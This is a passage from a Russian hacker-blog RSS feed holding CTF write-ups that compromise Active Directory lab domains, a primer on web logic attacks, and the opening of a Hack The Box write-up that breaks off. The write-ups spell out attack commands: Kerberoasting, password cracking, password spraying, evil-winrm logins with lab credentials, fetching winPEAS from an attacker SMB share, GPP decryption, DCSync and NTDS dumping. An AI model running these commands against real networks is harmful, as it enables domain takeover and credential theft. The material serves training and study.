  <p id="9Eau">Для получения TGS воспользуемся скриптом GetUserSPNs.py из набора impacket</p>
  <pre id="qjkH">impacket-GetUserSPNs -request -dc-ip 192.168.2.4 codeby.cdb/amaslova:&#x27;NeverGiv3up&#x27; -outputfile kerberoastable.txt
</pre>
  <figure id="1uja" class="m_column">
    <img src="https://telegra.ph/file/67aacf76058d3643a2ffd.png" width="1074" />
    <figcaption>Результат атаки</figcaption>
  </figure>
  <p id="RkDT">Мы получаем зашифрованный TGS, а также видим, что учетная запись dsemenov действительно подвержена атаке и состоит в группе Remote Management Users, что даёт ей право подключаться по WinRM. Для восстановления пароля из билета воспользуемся утилитой <a href="https://github.com/openwall/john" target="_blank">JtR</a>:</p>
  <pre id="gtig">john --wordlist=/usr/share/wordlists/rockyou.txt kerberoastable.txt 
</pre>
  <figure id="UrMf" class="m_column">
    <img src="https://telegra.ph/file/2ff0d90a388e8f30e15c1.png" width="771" />
    <figcaption>Полученный пароль учетной записи dsemenov</figcaption>
  </figure>
  <p id="ncHu">Атаку мы проводили по словарю rockyou.txt, в результате чего успешно смогли восстановить пароль учетной записи, позволяющей нам осуществить вход по WinRM на контроллер домена:</p>
  <pre id="Z5Cu">evil-winrm -u &#x27;CODEBY\dsemenov&#x27; -p &#x27;!!!!ilovegood17&#x27; -i 192.168.2.4
</pre>
  <figure id="xvdY" class="m_column">
    <img src="https://telegra.ph/file/01f9033727550f3b698e9.png" width="601" />
    <figcaption>Успешный вход по WinRM</figcaption>
  </figure>
  <h3 id="Захват-доменного-администратора">Захват доменного администратора</h3>
  <p id="8wuI">Мы повысили привилегии в домене, но полученной информации и доступа, насколько мы знаем, пока недостаточно для полной компрометации домена.</p>
  <p id="AsTB">Вектор повышения будем искать локально, для этого воспользуемся утилитой <a href="https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS" target="_blank">winPEAS</a>. Для начала передадим его на хост. Хоть у машины есть прямой доступ в интернет, часто такой привилегии может и не быть, и скачать файл напрямую, да ещё с GitHub, который много где заблокирован, может быть проблематично. Поэтому для передачи файла я буду использовать impacket-smbserver, предварительно скачав winPEAS на атакующую машину:</p>
  <pre id="DUqo">impacket-smbserver -smb2support public binaries
</pre>
  <figure id="eNHd" class="m_column">
    <img src="https://telegra.ph/file/ed2176f6d4026d0932aa8.png" width="606" />
    <figcaption>Запуск SMB-сервера из набора Impacket</figcaption>
  </figure>
  <p id="lggY">Команда выше создает на нашем хосте SMB-сервер с поддержкой SMB2, на котором размещена шара public, которую мы маппим с директорией binaries на атакующем хосте.</p>
  <p id="7soz">Для копирования winPEAS на сервере достаточно просто воспользоваться встроенным функционалом операционной системы: \</p>
  <pre id="rQb2">copy \\&lt;ATTACKER_IP&gt;\public\winPEASany.exe
</pre>
  <figure id="Yl1R" class="m_column">
    <img src="https://telegra.ph/file/dea3bd1a8c9f99d46f735.png" width="717" />
    <figcaption>Копирование winPEAS с шары на атакующей машине</figcaption>
  </figure>
  <p id="MSuK">Теперь запускаем исполняемый файл и начинаем параллельный результатов:</p>
  <figure id="Uook" class="m_column">
    <img src="https://telegra.ph/file/6ae36842477c35ce8a7d5.png" width="643" />
    <figcaption>Запуск winPEAS</figcaption>
  </figure>
  <p id="F9xR">После тщательного изучения вывода мы можем обратить внимания на занимательный результат в одной из проверок:</p>
  <figure id="hrZf" class="m_column">
    <img src="https://telegra.ph/file/24ad0c225ed2808c9093f.png" width="1072" />
    <figcaption>Cached GPP Passwords</figcaption>
  </figure>
  <p id="kZrQ">Мы видим 2 файла, а также фигурирующие в них логины и пароли. Если мы попытаемся прочитать один из них, например, <code>C:\ProgramData\Microsoft\Group Policy\History\{E2BAD596-F796-4E2D-BE3D-37BAE6B1919D}\Machine\Preferences\Groups\Groups.xml</code>, то увидим следующее содержимое:</p>
  <figure id="jOFg" class="m_column">
    <img src="https://telegra.ph/file/7d3d4dbb75a5b59e87f9e.png" width="1073" />
    <figcaption>Содержимое файла политики</figcaption>
  </figure>
  <p id="Bb8y">Значение параметра cpassword</p>
  <blockquote id="BBvh">cpassword=&quot;oAT8Ubf3hSXiLguywSw8PC4TYZ23Gv6UHMQ+RDY3i80&quot;</blockquote>
  <p id="MC2a">сильно отличается от результата, полученного в winPEAS. Чтобы осознать, что мы получили, обратимся к одноимённому разделу <a href="https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#cached-gpp-pasword" target="_blank">Hackticks</a>.</p>
  <hr />
  <h4 id="Справка:-кэшированный-пароль-GPP">Справка: кэшированный пароль GPP</h4>
  <p id="Lo9v">До версии KB2928120 (см. MS14-025) некоторые Group Policy Preferences можно было настроить с помощью специальной учетной записи. Эта функция в основном использовалась для развертывания пользовательской учетной записи локального администратора на группе компьютеров. Однако при таком подходе было две проблемы.</p>
  <p id="ibCi">1) Во-первых, поскольку объекты групповой политики хранятся в виде XML-файлов в SYSVOL, любой пользователь домена может их прочитать.</p>
  <p id="Imrc">2) Во-вторых, пароль, установленный в этих GPP, зашифрован с помощью алгоритма AES256 с использованием ключа, который публично задокументирован.</p>
  <p id="o9dW">Это означает, что любой прошедший проверку подлинности пользователь потенциально может получить доступ к конфиденциальным данным и повысить привилегии на своем компьютере или даже в домене.</p>
  <p id="QREL">Файлы, которые мы будем искать, расположены в следующих директориях и их субдиректориях:</p>
  <ul id="GxyK">
    <li id="x5k7">C:\ProgramData\Microsoft\Group Policy\History</li>
    <li id="Mt59">C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\History</li>
  </ul>
  <p id="1Ywb">Названия интересующих нас файлов:</p>
  <ul id="UvXW">
    <li id="OGAW">Groups.xml</li>
    <li id="xPw5">Services.xml</li>
    <li id="kvy8">Scheduledtasks.xml</li>
    <li id="ormW">DataSources.xml</li>
    <li id="9EMu">Printers.xml</li>
    <li id="LhC5">Drives.xml</li>
  </ul>
  <p id="Kim0">Раз ключ известен и публично задокументирован, расшифровать cPassword можно следующими способами:</p>
  <pre id="upwi">gpp-decrypt oAT8Ubf3hSXiLguywSw8PC4TYZ23Gv6UHMQ+RDY3i80

crackmapexec smb 192.168.2.4 -u &#x27;amaslova&#x27; -p &#x27;NeverGiv3up&#x27; -M gpp_autologin
</pre>
  <hr />
  <p id="6Gdt">Попробуем проверить эти способы:</p>
  <figure id="h0HK" class="m_column">
    <img src="https://telegra.ph/file/cf9bd8593921628a66c08.png" width="1064" />
    <figcaption>Результат расшифровки пароля предложенными средствами</figcaption>
  </figure>
  <p id="cr8j">К сожалению, CME результатов не дал, а вот gpp-decrypt успешно расшифровал пароль (оно и неудивительно).</p>
  <p id="2Yx2">Раз у нас есть пароль, подключимся на машину от имени администратора:</p>
  <pre id="diNW">evil-winrm -u &#x27;CODEBY\Administrator&#x27; -p &#x27;Not_alon3&#x27; -i 192.168.2.4
</pre>
  <figure id="ACmT" class="m_column">
    <img src="https://telegra.ph/file/27737c3525f8e5e173ca8.png" width="581" />
    <figcaption>Успешный коннект от имени администратора</figcaption>
  </figure>
  <p id="27ro">В завершении атаки сдампим NTDS.dit, тем самым полностью скомпрометировав домен:</p>
  <pre id="3ukb">crackmapexec smb 192.168.2.4 -u Administrator -p Not_alon3 --ntds 
</pre>
  <figure id="8XvP" class="m_column">
    <img src="https://telegra.ph/file/fd38e4683e2d6911156dc.png" width="1076" />
    <figcaption>DCSync</figcaption>
  </figure>
  <p id="5yXD">На этом разбор этого задания завершён! Надеюсь, вы узнали для себя что-то новое.</p>
  <figure id="wu8i" class="m_column" data-caption-align="center">
    <img src="https://telegra.ph/file/b5929a08d5a5da2454028.png" width="605" />
    <figcaption>До новых встреч!</figcaption>
  </figure>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@hackerblog/zGb1QoS6zsC</guid><link>https://teletype.in/@hackerblog/zGb1QoS6zsC?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=hackerblog</link><comments>https://teletype.in/@hackerblog/zGb1QoS6zsC?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=hackerblog#comments</comments><dc:creator>hackerblog</dc:creator><title>Codeby Games &quot;Системный администратор&quot; Active Directory WriteUp by artrone</title><pubDate>Wed, 13 Dec 2023 14:17:59 GMT</pubDate><media:content medium="image" url="https://img4.teletype.in/files/f0/95/f0957609-d844-4431-81eb-5b99edbacf55.png"></media:content><description><![CDATA[<img src="https://img2.teletype.in/files/92/65/9265ed67-0058-4466-b181-042ba813698e.webp"></img>Доброго дня, мои начинающие хацкеры! В последнее время, стало популярным ломать АД. Не знаю, с чем это связано, но да ладно. Сегодня...]]></description><content:encoded><![CDATA[
  <p id="UGfC">Доброго дня, мои начинающие хацкеры! В последнее время, стало популярным ломать АД. Не знаю, с чем это связано, но да ладно. Сегодня разберем интересную руму, которая заставит немного подумать.</p>
  <h2 id="nVLy">Разведка</h2>
  <p id="1CZl">Как обычно, всегда начинаем с разведки.</p>
  <p id="xp1l"><code>nmap -A 192.168.2.3</code></p>
  <figure id="PUaw" class="m_column">
    <img src="https://img3.teletype.in/files/ad/5e/ad5e4882-c24d-4b70-bfa6-96480af95c99.png" width="1304" />
  </figure>
  <p id="ApLY">Сразу обращаем внимание на FTP с анонимным доступом. Опытным путем попробуем авторизоваться и проверить содержимое.</p>
  <p id="AalO"><code>ftp anonymous@192.168.2.3</code></p>
  <figure id="k5jp" class="m_column">
    <img src="https://img3.teletype.in/files/6a/6b/6a6bccd5-e581-4f99-8f23-191a5c05dc8d.png" width="1304" />
  </figure>
  <p id="e7Qs">Сразу заприметим учетки <code>vlad.ivanov</code> и <code>ekaterina.smirnova</code>, которые могут нам помочь в будущем.</p>
  <p id="Uc1G">Теперь необходимо найти что-то полезное. Находим в папке Иванова файлик &quot;reminder.txt&quot;, в котором записан пароль </p>
  <p id="Yqyz"><code>You_Shall_Not_Pass</code></p>
  <figure id="Tc8G" class="m_column">
    <img src="https://img4.teletype.in/files/78/88/7888e1ad-d3a7-4a95-ab3e-e96289d41913.png" width="1304" />
  </figure>
  <p id="reMK">Теперь, когда у нас есть учетка, попробуем сдампить данные с домена. Я буду использовать bloodhound (в частности, bloodhound-python для дампа). Предварительно, можно запросить TGT билет, если потребуется и заэкспортить его:</p>
  <p id="oXjI"><code>impacket-getTGT &#x27;codeby.cdb/vlad.ivanov:You_Shall_Not_Pass&#x27; -dc-ip 192.168.2.3</code></p>
  <p id="QwDY"><code>export KRB5CCNAME=vlad.ivanov.ccache</code></p>
  <p id="zVBy"><em>С помощью этих действий, можно использовать авторизацию по билету, не используя пароля.</em></p>
  <p id="Q9m9"><code>bloodhound-python -u &quot;vlad.ivanov&quot; -p &quot;You_Shall_Not_Pass&quot; -d codeby.cdb  -c ALL -ns 192.168.2.3</code></p>
  <figure id="KTUL" class="m_column">
    <img src="https://img4.teletype.in/files/b3/a8/b3a8e320-7d18-42fd-9038-37e66d64e3ee.png" width="1304" />
  </figure>
  <p id="c7pD">Теперь идем в сам bloodhound.</p>
  <p id="dSXl"><code>neo4j start</code></p>
  <p id="IjDY"><code>bloodhound</code></p>
  <p id="yJI6">Теперь загрузим наши сдампленные файлы</p>
  <figure id="gUVC" class="m_column">
    <img src="https://img4.teletype.in/files/b1/2e/b12ec89a-aec3-41cf-90c0-6ee3407eff5a.png" width="1920" />
  </figure>
  <p id="VYh1">Перейдя во вкладку &quot;Find Shortest Paths to Domain Admins&quot;, мы видим следующее:<br /></p>
  <figure id="IgiS" class="m_column">
    <img src="https://img3.teletype.in/files/e4/d7/e4d7f3b9-9225-40a0-9dab-6e1a9cce1d8d.png" width="1920" />
  </figure>
  <p id="EdYy">Становится очевидно, что следующим нашим шагом будет получение учетки Алексея Ибрагимова, которая поможет нам получить админа и скомпрометировать домен, соответственно. </p>
  <p id="ByRv">Но как нам быть, если у нас нет его пароля?</p>
  <h2 id="ImSD">Пользовательский флаг</h2>
  <p id="Mo49">Давайте вернемся к FTP.</p>
  <p id="F9kz">После просмотра папки Смироновой, находим файл &quot;notes.txt&quot;, в котором говорится следующее:</p>
  <blockquote id="eXMu"><br />Привет,<br />Я поменял пароль, но не помню точно на кого,<br />коллеги, проверьте пожалуйста - You_Shall_Not_Pass@@#</blockquote>
  <blockquote id="hrw0">С наилучшими пожеланиями,<br />Тупой админ</blockquote>
  <p id="001m">Интересная ситуация, не правда ли? Если хорошенько подумать, то вспомним, что у нас осталось 2 учетки без пароля: <code>aleksey.ibragimov</code> и <code>ekaterina.smirnova</code></p>
  <p id="juQD">Соответственно, мы можем сделать стандартный Password Spraying с паролем <code>You_Shall_Not_Pass@@#</code>.</p>
  <p id="CBRp">Давайте так и поступим. Для этого создадим файлик с логинами:</p>
  <p id="MTV5"><code># cat names.txt    <br />ekaterina.smirnova<br />aleksey.ibragimov</code></p>
  <p id="LDFQ">Далее с помощью crackmapexec выполним спрэйинг</p>
  <p id="YKit"><code>crackmapexec smb 192.168.2.3  -u names.txt -p &#x27;You_Shall_Not_Pass@@#&#x27;</code></p>
  <p id="6VS2"></p>
  <p id="f9at"><code>SMB         192.168.2.3     445    WOODEN           [*] Windows Server 2012 R2 Standard 9600 x64 (name:WOODEN) (domain:codeby.cdb) (signing:True) (SMBv1:True)<br />SMB         192.168.2.3     445    WOODEN           [-] codeby.cdb\ekaterina.smirnova:You_Shall_Not_Pass@@# STATUS_LOGON_FAILURE <br />SMB         192.168.2.3     445    WOODEN           [+] codeby.cdb\aleksey.ibragimov:You_Shall_Not_Pass@@# </code></p>
  <p id="eUkF"></p>
  <p id="D9h2">Видно, что пароль подошел для Алексея Ибрагимова. Отлично! Предлагаю подключиться по WinRM с помощью Evil-winrm</p>
  <p id="24Jq"><code>evil-winrm -u &#x27;CODEBY\ALEKSEY.IBRAGIMOV&#x27; -p You_Shall_Not_Pass@@# -i 192.168.2.3</code></p>
  <figure id="BZuH" class="m_column">
    <img src="https://img3.teletype.in/files/21/b7/21b76fe3-9f7f-47bf-b557-241ca4dcb561.png" width="1328" />
  </figure>
  <p id="tSdt">Пользовательский флаг получен.</p>
  <h2 id="po1Z">Эскалация привелегий</h2>
  <p id="PGEo">Давайте вернемся в Bloodhound, чтобы еще раз посмотреть на права аккаунта Алексея и посмотреть пути эскалации.</p>
  <figure id="xGx6" class="m_column">
    <img src="https://img2.teletype.in/files/d5/0f/d50f2aa8-4244-44f5-8e38-370e9eed3f6b.png" width="1328" />
  </figure>
  <p id="9pW3">Видим, что наш пользователь обладает правами для атаки &quot;DCSync&quot;</p>
  <p id="7arZ"><em>Подробнее о DCSync : <a href="https://habr.com/ru/companies/rvision/articles/709866/" target="_blank">https://habr.com/ru/companies/rvision/articles/709866/</a></em></p>
  <p id="LHRv">Отлично, давайте так и поступим.</p>
  <p id="xiN4">Необходимо сдампить хэши. Я буду использовать secretsdump из набора Impacket.</p>
  <figure id="8ljn" class="m_column">
    <img src="https://img3.teletype.in/files/69/93/6993e742-dad8-4844-aec2-6d78ea66e1a6.png" width="1328" />
  </figure>
  <p id="4Czl">После успешного дампа, проведем атаку Pass-The-Hash, которая позволяет авторизоваться с помощью хэша по протоколу NTLM, избегая пароль.</p>
  <p id="FCMj"><em>Подробнее о Pass-The-Hash: <a href="https://hackware.ru/?p=11287" target="_blank">https://hackware.ru/?p=11287</a></em></p>
  <p id="UW48">Для реализации атаки, использую psexec из того же набора Impacket</p>
  <figure id="MQYq" class="m_column">
    <img src="https://img2.teletype.in/files/90/09/9009eb38-6fce-46c2-b7f9-f6a8ffe5cb98.png" width="1328" />
  </figure>
  <p id="cxPu">Как мы видим, мы получили шелл от имени системы. Забираем флаг.</p>
  <figure id="5ky0" class="m_column">
    <img src="https://img4.teletype.in/files/33/7f/337f7386-c866-4cfb-8e51-304a275844f0.png" width="1328" />
  </figure>
  <p id="qdxD">Домен скомпрометирован!</p>
  <p id="D2nB"></p>
  <h3 id="YysL">Немножко полезной литературы по детекту атак</h3>
  <p id="YHSb">Возможные варианты детектирования DCSync: <a href="https://habr.com/ru/companies/rvision/articles/709942/" target="_blank">https://habr.com/ru/companies/rvision/articles/709942/</a></p>
  <p id="icRr">Детект Pass-The-Hash:<a href="http://www.oszone.net/14579/Pass-the-Hash" target="_blank"> http://www.oszone.net/14579/Pass-the-Hash</a></p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@hackerblog/-vloA4MZQTj</guid><link>https://teletype.in/@hackerblog/-vloA4MZQTj?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=hackerblog</link><comments>https://teletype.in/@hackerblog/-vloA4MZQTj?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=hackerblog#comments</comments><dc:creator>hackerblog</dc:creator><title>Логические атаки</title><pubDate>Thu, 06 Apr 2023 12:14:52 GMT</pubDate><description><![CDATA[Атаки данного класса направлены на эксплуатацию функций приложения или логики его функционирования. Логика приложения представляет собой ожидаемый процесс функционирования программы при выполнении определенных действий. В качестве примеров можно привести восстановление пролей, регистрацию учетных записей, , аукционные торги, транзакции в системах электронной коммерции. Приложение может требовать от пользователя корректного выполнения нескольких последовательных действий для выполнения определенной задачи. Злоумышленник может обойти или использовать эти механизмы в своих целях.]]></description><content:encoded><![CDATA[
  <p id="2dBg">Атаки данного класса направлены на эксплуатацию функций приложения или логики его функционирования. Логика приложения представляет собой ожидаемый процесс функционирования программы при выполнении определенных действий. В качестве примеров можно привести восстановление пролей, регистрацию учетных записей, , аукционные торги, транзакции в системах электронной коммерции. Приложение может требовать от пользователя корректного выполнения нескольких последовательных действий для выполнения определенной задачи. Злоумышленник может обойти или использовать эти механизмы в своих целях.</p>
  <h2 id="dutd">Злоупотребление функциональными возможностями (Abuse of Functionality)</h2>
  <p id="InDv">Данные атаки направлены на использование функций Web-приложения с целью обхода механизмов разграничение доступа. Некоторые механизмы Web-приложения, включая функции обеспечения безопасности, могут быть использованы для этих целей. Наличие уязвимости в одном из, возможно, второстепенных компонентов приложения может привести к компрометации всего приложения. Уровень риска и потенциальные возможности злоумышленника в случае проведения атаки очень сильно зависят от конкретного приложения. Злоупотребление функциональными возможностями очень часто используется совместно с другими атаками, такими как обратный путь в директориях и т.д. К примеру, при наличии уязвимости типа межсайтовое выполнение сценариев в HTML-чате злоумышленник может использовать функции чата для рассылки URL, эксплуатирующий уязвимость, всем текущим пользователям. С глобальной точки зрения, все атаки на компьютерные системы являются злоупотреблениями функциональными возможностями. Особенно это относится к атакам, направленным на Webприложения, которые не требуют модификации функций программы.</p>
  <h3 id="agw9">Пример</h3>
  <p id="8ErO">Примеры злоупотребления функциональными возможностями включают в себя: </p>
  <p id="kCZV">- Использования функций поиска для получения доступа к файлам за пределами корневой директории Web-сервера; </p>
  <p id="w5ix">- Использование функции загрузки файлов на сервер для перезаписи файлов конфигурации или внедрения серверных сценариев; </p>
  <p id="790U">- Реализация отказа в обслуживании путем использования функции блокировки учетной записи при многократном вводе неправильного пароля. </p>
  <p id="WnHu">Ниже приведены реальные примеры подобных уязвимостей, взятые из реальной жизни. </p>
  <p id="ZOSW">Программа Matt Wright FormMail Программа &quot;FormMail&quot; представляет собой приложение на языке PERL, используемое для передачи данных из HTML-формы на указанный почтовый адрес. Этот сценарий довольно удобно использовать для организации функции обратной связи на сервере. К сожалению, эта программа предоставляла злоумышленнику возможность передавать почтовые сообщения любому почтовому пользователю. Таким образом, приложение могло быть использовано в качестве почтового ретранслятора для рассылки спама. Злоумышленник использовал параметры URL GET-запроса для указания получателя почтового сообщения, к примеру:</p>
  <p id="OcKi">http://example/cgi-bin/FormMail.plrecipient=email@victim.example&amp;message=you%20got%20spam </p>
  <p id="TYc8">В качестве отправителя почтового сообщения указывался адрес Web-сервера, что позволяло злоумышленнику оставаться полностью анонимным. </p>
  <p id="Bbwa">Macromedia&#x27;s Cold Fusion Иногда базовый интерфейс администрирования, поставляемый вместе с Web-приложением, может использоваться с непредусмотренными разработчиками целями. К примеру, Macromedia&#x27;s Cold Fusion по умолчанию имеет модуль, позволяющий просматривать исходный код сценариев. Злоупотребление этой функцией может привести к получению критичной информации Web-приложения. Удаление или отключение этой функции весьма проблематично, поскольку от него зависят важные компоненты приложения. </p>
  <p id="QRXI">Модификация цены в Smartwin CyberOffice Иногда изменение данных, обрабатываемых приложением, может позволить модифицировать поведение программы. К примеру, уязвимость в функции покупки приложения CyberOffice позволяла модифицировать значение цены, передаваемой пользователю в скрытом поле HTMLформы. Страница подтверждения заказа загружалась злоумышленником, модифицировалась на клиенте и передавалась серверу уже с модифицированным значением цены.</p>
  <h3 id="uGRP">Ссылки</h3>
  <p id="DerO">&quot;FormMail Real Name/Email Address CGI Variable Spamming Vulnerability&quot; <a href="http://www.securityfocus.com/bid/3955" target="_blank">http://www.securityfocus.com/bid/3955</a> </p>
  <p id="KRww">&quot;CVE-1999-0800&quot; <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=1999-0800" target="_blank">http://cve.mitre.org/cgi-bin/cvename.cgi?name=1999-0800</a> </p>
  <p id="17pb">&quot;CA Unicenter pdmcgi.exe View Arbitrary File&quot; <a href="http://www.osvdb.org/displayvuln.php?osvdb_id=3247" target="_blank">http://www.osvdb.org/displayvuln.php?osvdb_id=3247</a> </p>
  <p id="Hf4Y">&quot;PeopleSoft PeopleBooks Search CGI Flaw&quot; <a href="http://www.osvdb.org/displayvuln.php?osvdb_id=2815" target="_blank">http://www.osvdb.org/displayvuln.php?osvdb_id=2815</a> </p>
  <p id="PhTf">&quot;iisCART2000 Upload Vulnerability&quot; <a href="http://secunia.com/advisories/8927/" target="_blank">http://secunia.com/advisories/8927/</a> </p>
  <p id="RMyT">&quot;PROTEGO Security Advisory #PSA200401&quot; <a href="http://www.protego.dk/advisories/200401.html" target="_blank">http://www.protego.dk/advisories/200401.html</a> </p>
  <p id="oZW2">&quot;Price modification possible in CyberOffice Shopping Cart&quot; <a href="http://archives.neohapsis.com/archives/bugtraq/2000-10/0011.html" target="_blank">http://archives.neohapsis.com/archives/bugtraq/2000-10/0011.html</a></p>
  <h2 id="StHg">Отказ в обслуживании (Denial of Service)</h2>
  <p id="FRGg">Данный класс атак направлен на нарушение доступности Web-сервера. Обычно атаки, направленные на отказ в обслуживании реализуются на сетевом уровне, однако они могут быть направлены и на прикладной уровень. </p>
  <p id="IfCs">Используя функции Web-приложения, злоумышленник может исчерпать критичные ресурсы системы, или воспользоваться уязвимостью, приводящий к прекращению функционирования системы. </p>
  <p id="zNxB">Обычно DoS атаки направлены на исчерпание критичных системных ресурсов, таких как вычислительные мощности, оперативная память, дисковое пространство или пропускная способность каналов связи. Если какой-то из ресурсов достигнет максимальной загрузки, приложение целиком будет недоступно. </p>
  <p id="ND5i">Атаки могут быть направлены на любой из компонентов Web-приложения, например, такие как сервер СУБД, сервер аутентификации и т.д. В отличии от атак на сетевом уровне, требующих значительных ресурсов злоумышленника, атаки на прикладном уровне обычно легче реализовать.</p>
  <h3 id="uz17">Примеры</h3>
  <p id="ZPSJ">Предположим, что сервер Health-Care генерирует отчеты о клинической истории пользователей. Для генерации каждого отчета сервер запрашивает все записи, соответствующие определенному номеру социального страхования. Поскольку в базе содержатся сотни миллионов записей, пользователю приходится ожидать результата несколько минут. В это время загрузка процессора сервера СУБД достигает 60%. </p>
  <p id="cVmS">Злоумышленник может послать десять одновременных запросов на получение отчетов, что с высокой вероятностью приведет к отказу в обслуживании, поскольку загрузка процессора сервера баз данных достигнет максимального значения. На время обработки запросов злоумышленника нормальная работа сервера будет невозможна. </p>
  <p id="EdZm">DoS на другой сервер </p>
  <p id="0K36">Злоумышленник может разместить на популярном Web-форуме ссылку (например, в виде изображения в сообщении) на другой ресурс. При заходе на форум, пользователи будут автоматически загружать данные с атакуемого сервера указанный ресурс, используя его ресурсы. </p>
  <p id="h4xU">Если на атакуемом сервере используется система предотвращения атак с функцией блокировки IP-адреса атакующего, в ссылке может использоваться сигнатура атаки (например ../../../../../etc/passwd), что приведет к блокировке пользователей, зашедших на форум. Атаки на сервер СУБД Злоумышленник может воспользоваться внедрением кода SQL для удаления данных из таблиц, что приведет к отказу в обслуживания приложения.</p>
  <h2 id="EIyz">Недостаточное противодействие автоматизации (Insufficient Anti-automation)</h2>
  <p id="ckoi">Недостаточное противодействие автоматизации возникает, когда сервер позволяет автоматически выполнять операции, которые должны проводиться вручную. Для некоторых функций приложения необходимо реализовывать защиту от автоматических атак. </p>
  <p id="huxG">Автоматизированные программы могут варьироваться от безобидных роботов поисковых систем до систем автоматизированного поиска уязвимостей и регистрации учетных записей. Подобные роботы генерируют тысячи запросов в минуту, что может привести к падению производительности всего приложения. </p>
  <p id="hzBA">Противодействие автоматизации заключается в ограничении возможностей подобных утилит. Например, файл robots может предотвращать индексирование некоторых частей сервера, а дополнительные средства идентификации предотвращать автоматическую регистрацию сотен учетных записей системы электронной почты.</p>
  <h3 id="FOzu">Ссылки</h3>
  <p id="JayS">Telling Humans Apart (Automatically) <a href="http://www.captcha.net/" target="_blank">http://www.captcha.net/</a> </p>
  <p id="n4d8">&quot;Ravaged by Robots!&quot;, By Randal L. Schwartz <a href="http://www.webtechniques.com/archives/2001/12/perl/" target="_blank">http://www.webtechniques.com/archives/2001/12/perl/</a> </p>
  <p id="Ui8x">&quot;.Net Components Make Visual Verification Easier&quot;, By JingDong (Jordan) Zhang <a href="http://go.cadwire.net/?3870,3,1" target="_blank">http://go.cadwire.net/?3870,3,1</a> </p>
  <p id="0wI0">&quot;Vorras Antibot&quot; <a href="http://www.vorras.com/products/antibot/" target="_blank">http://www.vorras.com/products/antibot/</a> </p>
  <p id="60d2">&quot;Inaccessibility of Visually-Oriented Anti-Robot Tests&quot; <a href="http://www.w3.org/TR/2003/WD-turingtest-20031105/" target="_blank">http://www.w3.org/TR/2003/WD-turingtest-20031105/</a></p>
  <h2 id="ynNU">Недостаточная проверка процесса (Insufficient Process Validation)</h2>
  <p id="1aiE">Уязвимости этого класса возникают, когда сервер не достаточно проверяет последовательность выполнения операций приложения. Если состояние сессии пользователя и приложения должным образом не контролируется, приложение может быть уязвимо для мошеннических действий. </p>
  <p id="9OQC">В процессе доступа к некоторым функциям приложения ожидается, что пользователь выполнит ряд действий в определенном порядке. Если некоторые действия выполняются неверно или в неправильном порядке, возникает ошибка, приводящая к нарушению целостности. Примерами подобных функций выступают переводы, восстановление паролей, подтверждение покупки, создание учетной записи и т.д. В большинстве случаев эти процессы состоят из ряда последовательных действий, осуществляемых в четком порядке. </p>
  <p id="HEd0">Для обеспечения корректной работы подобных функций Web-приложение должно четко отслеживать состояние сессии пользователя и отслеживать еѐ соответствие текущим операциям. В большинстве случаев это осуществляется путем сохранения состояния сессии в cookie или скрытом поле формы HTML. Но поскольку эти значения могут быть модифицированы пользователем, обязательно должна проводиться проверка этих значений на сервере. Если этого не происходит, злоумышленник получает возможность обойти последовательность действий, и как следствие - логику приложения.</p>
  <h3 id="JG3Y">Пример</h3>
  <p id="5Xoy">Система электронной торговли может предлагать скидку на продукт B, в случае покупки продукта A. Пользователь, не желающий покупать продукт A, может попытаться приобрести продукт B со скидкой. Заполнив заказ на покупку обоих продуктов, пользователь получат скидку. Затем пользователь возвращается к форме подтверждения заказа и удаляет продукт A из покупаемых, путем модификации значений в форме. Если сервер повторно не проверит возможность покупки продукта B по указанной цене без продукта A, будет осуществлена закупка по низкой цене.</p>
  <h3 id="HpFm">Ссылки</h3>
  <p id="FijS">&quot;Dos and Don&#x27;ts of Client Authentication on the Web&quot;, Kevin Fu, Emil Sit, Kendra Smith, Nick Feamster - MIT Laboratory for Computer Science <a href="http://cookies.lcs.mit.edu/pubs/webauth:tr.pdf" target="_blank">http://cookies.lcs.mit.edu/pubs/webauth:tr.pdf</a></p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@hackerblog/ZuRc3detP9z</guid><link>https://teletype.in/@hackerblog/ZuRc3detP9z?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=hackerblog</link><comments>https://teletype.in/@hackerblog/ZuRc3detP9z?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=hackerblog#comments</comments><dc:creator>hackerblog</dc:creator><title>Socket Hack The Box WriteUp by artrone</title><pubDate>Tue, 04 Apr 2023 15:04:33 GMT</pubDate><media:content medium="image" url="https://img1.teletype.in/files/0f/d3/0fd30f26-8427-4625-a923-de744775995d.png"></media:content><description><![CDATA[<img src="https://img4.teletype.in/files/b7/4b/b74b0d0b-8416-474d-a81a-91f1673c0dd2.png"></img>Доброго времени суток! Сегодня у нас средняя по сложности тачка &quot;Socket&quot;.]]></description><content:encoded><![CDATA[
  <p id="bZuR">Доброго времени суток! Сегодня у нас средняя по сложности тачка &quot;Socket&quot;.</p>
  <p id="mpA2">Предлагаю начать!</p>
  <h2 id="6X7D">Разведка</h2>
  <p id="Uy2T">Как и всегда, начинаем со сканирования nmap&#x27;ом:</p>
  <figure id="3YKw" class="m_column">
    <img src="https://img4.teletype.in/files/b7/4b/b74b0d0b-8416-474d-a81a-91f1673c0dd2.png" width="677" />
  </figure>
  <p id="el9L">Как мы видим, у нас открыт 22-й, 80-й и 5789-й порты. На 5789-ом порту работает websocket.</p>
  <p id="qfum">Использовав <a href="https://github.com/PalindromeLabs/STEWS/blob/main/vuln-detect/" target="_blank">инструмент для обнаружения уязвимостей ws</a>, мы получаем такой результат:</p>
  <figure id="FjDr" class="m_column">
    <img src="https://img3.teletype.in/files/2a/bb/2abb5035-ac70-4242-a07d-ff7ccfa72308.png" width="855" />
  </figure>
  <p id="Sthd"><em>Подробнее о CSWSH:</em> <a href="https://christian-schneider.net/CrossSiteWebSocketHijacking.html" target="_blank">https://christian-schneider.net/CrossSiteWebSocketHijacking.html</a></p>
  <p id="KnY2">Давайте теперь перейдем на сайт, предварительно изменив /etc/hosts:</p>
  <figure id="gPgc" class="m_column">
